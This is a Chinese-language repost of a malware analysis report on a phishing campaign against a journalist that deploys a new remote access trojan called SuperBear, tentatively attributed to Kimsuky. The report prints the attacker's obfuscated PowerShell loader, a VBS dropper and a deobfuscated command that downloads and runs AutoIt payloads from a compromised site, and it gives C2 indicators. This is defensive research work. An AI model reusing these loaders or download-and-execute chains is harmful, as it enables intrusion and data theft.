执行摘要
2023 年 8 月 28 日,Interlab 收到了发送给一名记者的样本,其中包含高度针对性的内容,诱使收件人打开该文档。记者收到了一封来自一名活动人士的电子邮件,该活动人士通过一个冒充该组织成员的地址与恶意文件联系。该文档采用 .LNK 格式,执行后会加载恶意 powershell 命令和与该组织相关的合法 DOCX。
经过分析,Interlab发现,在最初的妥协后,执行了一个AutoIT脚本,该脚本用于使用进程空洞技术执行进程注入。注入的进程包含一种新颖的 RAT,由于代码中的命名约定,我们将其称为“SuperBear”。我们认为这是一项针对民间社会团体的新运动。
初步妥协方法
执行 .LNK 文件后,就会调用命令行参数,在合法文档旁边生成一个隐藏的 Powershell 窗口。攻击者利用常见的混淆技术来加载 Powershell 并执行命令:
epf8flFowfjovacaXodqZojwof8923jofawejolcvbnNBEOAiwfWClddonv328aJfjoewqweipPeeifGeifCVaieajefielfldnaashfuewfvkdjvnkfhafbawleawapawhfkdjhadsfnkk||goto&p^ow^e^rs^he^l^l
然后在隐藏窗口中执行 Powershell 命令。这是完整的命令:
"C:WindowsSystem32cmd.exe" /c epf8flFowfjovacaXodqZojwof8923jofawejolcvbnNBEOAiwfWClddonv328aJfjoewqweipPeeifGeifCVaieajefielfldnaashfuewfvkdjvnkfhafbawleawapawhfkdjhadsfnkk||goto&p^ow^e^rs^he^l^l -windowstyle hidden $hieracy="$tuneba='REDACTED';$bytes = for($i = 0; $i -lt $tuneba.Length;$i += 2){[System.Convert]::ToByte($tuneba.Substring($i, 2), 16);};$hoikd = [System.Text.Encoding]::ASCII.GetString($bytes);$hoikd = $hoikd -replace '-eitlkdg-', '_.length -eq 0x00015CEB}';$hoikd = $hoikd -replace '-lgjlkdr-', 'select -Skip 0x0000438D';Invoke-Expression $hoikd;";Invoke-Expression $hieracy;
该命令将 HEX 值转换为 ASCII(解码后的值),然后执行。该值是以下命令,我们对其进行了美化并添加了注释来解释每个步骤:
function getBodyPath(){
$lnkpath = Get-ChildItem *.lnk; # Get a list of all .lnk files in the current directory
$lnkpath = $lnkpath | where-object { $_.length -eq 0x00015CEB ; $lnkpath1 = $lnkpath; $lnkpath = $lnkpath | Select-Object -ExpandProperty Name;}
if($lnkpath.length -eq 0){
Set-Location $env:TEMP; # Change to the temporary directory
$lnkpath = Get-ChildItem *.lnk; # Get a list of .lnk files in the temporary directory
$lnkpath = $lnkpath | where-object { $_.length -eq 0x00015CEB ; $lnkpath1 = $lnkpath; $lnkpath = $lnkpath | Select-Object -ExpandProperty Name;}
}
return @($lnkpath, $lnkpath1); # Return an array containing the .lnk filename and another variable
}
function getImgContent(){
$path = getBodyPath; # Get the .lnk filename from the previous function
$lnkpath = $path[0]; # Extract the .lnk filename from the array
$file = gc $lnkpath -Encoding Byte; # Read the content of the .lnk file as bytes
return $file; # Return the byte array representing the content
}
function makepath(){
$path = getBodyPath; # Get the .lnk filename from the previous function
$lnkpath = $path[0]; # Extract the .lnk filename from the array
$lnkpath = $lnkpath.substring(0,$lnkpath.length-4); # Remove the ".lnk" extension
return $lnkpath; # Return the modified path
}
function changecontent(){
$file = getImgContent; # Get the content of the .lnk file as bytes
for($i=0; $i -lt $file.count; $i++) {
$file[$i] = $file[$i] -bxor 0x77; # Apply bitwise XOR operation with 0x77 to each byte
}
return $file; # Return the modified byte array
}
function subsave(){
$path = makepath; # Get the modified path without ".lnk" extension
$bytes = changecontent; # Get the modified content as bytes
$temp = $bytes | select -Skip 0x0000438D ; # Skip elements in the array
sc $path ([byte[]]$temp) -Encoding Byte; # Write the modified content to a file at the modified path
return @($path, $bytes); # Return the modified path and byte array
}
function savecontent(){
$_a_res = subsave; # Get the modified path and byte array from the previous function
return @($_a_res[0], $path1); # Return the modified path and an undefined variable $path1
}
$_a_path = savecontent; # Get the modified path and an undefined variable $path1 from the previous function
$path1 = '.' + $_a_path[0]; # Construct a new path by concatenating with "."
& $path1; # Execute the PowerShell script at the new path
$path2 = getBodyPath; # Get the .lnk filename and another variable from the first function
remove-item -path $path2[1] -force; # Remove the file specified in the second position of the array
$bear = '...'; # An obfuscated string
$bytes1 = for($i = 0; $i -lt $bear.Length; $i += 2){
[System.Convert]::ToByte($bear.Substring($i, 2), 16); # Decode the obfuscated string to a byte array
}
$foxtern = [System.Text.Encoding]::ASCII.GetString($bytes1); # Convert the byte array to an ASCII string
$decodeString = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($foxtern)); # Base64 decode and convert to a UTF-8 string
$randomString = [System.IO.Path]::GetRandomFileName().Replace(".", "").Substring(0, 10); # Generate a random string
$randomString;
$tankPath = $env:userprofile + 'links' + '' + $randomString + '.' + 'v' + 'b' + 's'; # Construct a path in the user's profile directory
$decodeString | Set-Content -Path $tankPath; # Write the decoded string content to the file
& $tankPath; # Execute the script at the new path
其结果是一个 VBS 脚本,保存到包含以下脚本的用户配置文件目录:
JzUnwoizAnveuUlFq = Replace("Shsuelsul.suApsuplsuicsuatsuiosun","su","")
on error resume next
on error resume next
on error resume next
JzUnwoizAnveuUlFqs = Replace("cmsud","su","")
JzUnwoizAnveuUlFqss = Replace("/csu msukdsuir csu:sudsubhg & csud /sud c:sudbsuhg & cosupy csu:suwinsudowsssuyssutemsu32cusurl.exsue dbsuhg.esuxesu su& dbsuhg -suo Ausutoitsu3.esuxsue hsuttsupssu:su/su/REDACTED.me/wsup-consutent/ssuolsumir.psudb & dsubhg -o MTdsuYFp.au3 hsuttsupssu:/su/REDACTED.me/wsup-suconsutesunt/ssuolmisur_1su.supdsub su& suAusutsuosuit3.esuxe MTsudYsuFp.ausu3","su","")
CreateObject(JzUnwoizAnveuUlFq).ShellExecute JzUnwoizAnveuUlFqs, JzUnwoizAnveuUlFqss ,"","",0
WScript.Quit
MsgBox "VEKE"
该 VBS 脚本只是在每个命令中添加了“su”,以逃避基于文件的检测的签名。该命令的去混淆结果如下所示:
cmd /c mkdir c:dbhg & cd /d c:dbhg & copy c:windowssystem32curl.exe dbhg.exe & dbhg -o Autoit3.exe https://REDACTED.me/wp-content/solmir.pdb & dbhg -o MTdYFp.au3 https://REDACTED.me/wp-content/solmir_1.pdb & Autoit3.exe MTdYFp.au3
有效负载传送网站是合法网站的受损 WordPress 实例。因此,我们已将其从报告中删除,并联系了所有者,告知他们有关妥协的情况。
如您所见,该命令从域中提取两个有效负载。这两个有效负载是:
1. 文件名“solmir.pdb”的 AutoIT3 可执行文件重命名为 Autoit3.exe – 这是一项开源技术 ( https://www.autoitscript.com/site/autoit/ )
2. 编译并打包的 AutoIT3 脚本,文件名为“solmir_1.pdb”,重命名为“MTdYFp.au3”
下载可执行文件和编译脚本后,AutoIT3 将使用编译脚本的参数执行。然后执行该脚本并执行进程注入操作。
使用进程空洞的 AutoIT 进程注入
AutoIT 脚本通过调用本机 Windows API 调用来执行典型的进程空洞操作。它首先调用“CreateProcess”来生成一个包含挂起进程标志的 Explorer.exe 实例。然后,在使用恶意代码写入之前,使用“NtUnmapViewOfSection”取消映射挂起的进程。然后通过“VirtualAllocEx”、“WriteProcessMemory”、“SetThreatContext”和“ResumeThread”恢复。
应该指出的是,我们在本文底部提供了有关威胁行为者利用 AutoIT 的一些额外背景信息。
此恶意软件活动中的恶意代码似乎是一种新型远程访问木马,我们将其称为 SuperBear RAT。SuperBear RAT 的这种变体建立了与位于以下位置的 C2 服务器的连接:
IP 地址:89[.]117[.]139[.]230
域名:hironchk[.]com
RAT 执行 3 种主要攻击操作之一:
1. 窃取进程和系统数据
2.下载并执行shell命令
3.下载并运行DLL
C2 服务器的默认操作似乎是指示客户端窃取和处理系统数据。这通常是该组织发起的攻击活动的典型特征,因为他们对侦察非常谨慎,如下所示。威胁行为者还可以指示 RAT 执行 shell 命令或将恶意 DLL 下载到受感染的计算机上。恶意DLL将尝试为其创建一个随机文件名,如果不能,它将被命名为“SuperBear”。
Interlab 威胁研究人员 Ovi 在威胁研究人员博客上记录了 SuperBear RAT 的完整技术报告。
有关归因和开源使用的其他背景信息
根据初始攻击向量的相似性以及我们跟踪的多个活动中代码的相关性,我们将此活动的失败归因于 Kimsuky。应该指出的是,到目前为止,我们没有任何迹象表明基础设施与 Kimsuky 集群重叠,因此我们此时才怀疑这一点。除此之外,我们发现与最近的活动中使用的命令有很强的重叠(https://mp.weixin.qq.com/s?__biz=MzUyMjk4NzExMA==&mid=2247493300&idx=1&sn=614dda72d95b5dfd732916aec0662598&cur_album_id=191528706689 2959748#rd ),这表示在初始访问期间类似 Powershell 命令。我们邀请业界为此做出贡献。
在此活动中发现的用于进程空洞的 AutoIT 利用是从各个论坛获取的修改后的脚本:
– https://www.autoitscript.com/forum/topic/99412-run-binary/page/8/
– https://syra.forumcommunity.net/?t=55181142
– https://autoit-script.ru/threads/peredacha-parametrov-komandnoj-stroki.24834/
这是 Kimsuky 运营的一个有趣且显着的特征。这是我们见过的一种新颖的攻击媒介。Kimsuky 过去一直在使用开源工具,例如利用 Quasar RAT 等恶意软件。有多个报道称,其他朝鲜威胁组织在最近的行动中采用了开源工具 ( https://blog.talosintelligence.com/lazarus-collectionrat/ )。
关于SuperBear RAT。由于与 RAT 本身中发现的数据签名不匹配,我们对此的分析是新颖的。我们尚未在复古狩猎中找到类似的样本,尽管这可能会发生变化。我们邀请其他民间社会团体和行业进行更多研究。
IOC
转载来源:https://interlab.or.kr/archives/19416
图片来源网络侵权可联系删除